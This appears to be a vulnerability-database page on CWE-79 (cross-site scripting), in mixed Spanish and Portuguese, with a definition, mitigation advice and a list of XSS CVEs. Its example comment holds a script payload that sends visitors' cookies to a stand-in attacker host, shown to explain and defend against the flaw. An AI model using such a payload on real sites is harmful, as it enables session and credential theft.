Fallos del tipo CWE-79

30.300 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-35641MEDIUMWordPress Just Writing Statistics plugin <= 4.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-43123MEDIUMWordPress Card Elements for Elementor plugin <= 1.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37528MEDIUMIBM Cloud Pak for Business Automation cross-site scriptingEPSS 0.3%CVE-2024-6701MEDIUMPega Platform versions 8.1 to Infinity 24.1.2 are affected by an XSS issue with case type.EPSS 0.3%CVE-2026-29969MEDIUMA cross-site scripting (XSS) vulnerability in the wff_cols_pref.css.aspx endpoint of staffwiki v7.0.1.19219 allows attackers to execute arbiEPSS 0.3%CVE-2024-43226MEDIUMWordPress WP Dashboard Notes plugin <= 1.0.11 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-118648HIGHn8n before 1.123.85, 2.43.5, and 2.44.1 Stored XSS via Webhook Responses Missing Sandbox PolicyEPSS 0.3%CVE-2024-37278MEDIUMWordPress Cards for Beaver Builder plugin <= 1.1.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37215MEDIUMWordPress Transition Slider – Responsive Image Slider and Gallery plugin <= 2.20.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49261MEDIUMWordPress Arkhe Blocks plugin <= 2.23.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-49289MEDIUMWordPress Cooked Pro plugin < 1.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-27469MEDIUMIsso: Stored XSS via comment website fieldEPSS 0.3%CVE-2025-8080MEDIUMAlobaidi Captcha <= 1.0.3 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin SettingsEPSS 0.3%CVE-2025-34259MEDIUMAdvantech WISE-DeviceOn Server < 5.4 Authenticated Stored XSS via devicemap/buildingEPSS 0.3%CVE-2025-30928MEDIUMWordPress WP Biographia plugin <= 4.0.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-35642MEDIUMWordPress Site Favicon plugin <= 0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-42412MEDIUMCross-site scripting vulnerability exists in ELECOM wireless access points due to improper processing of input values in menu.cgi. If a userEPSS 0.3%CVE-2025-12230MEDIUMprojectworlds Expense Management System Currency create cross site scriptingEPSS 0.3%CVE-2024-34561MEDIUMWordPress Real3D Flipbook PDF Viewer Lite plugin <= 3.71 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-30930MEDIUMWordPress ACF: Yandex Maps Field plugin <= 1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%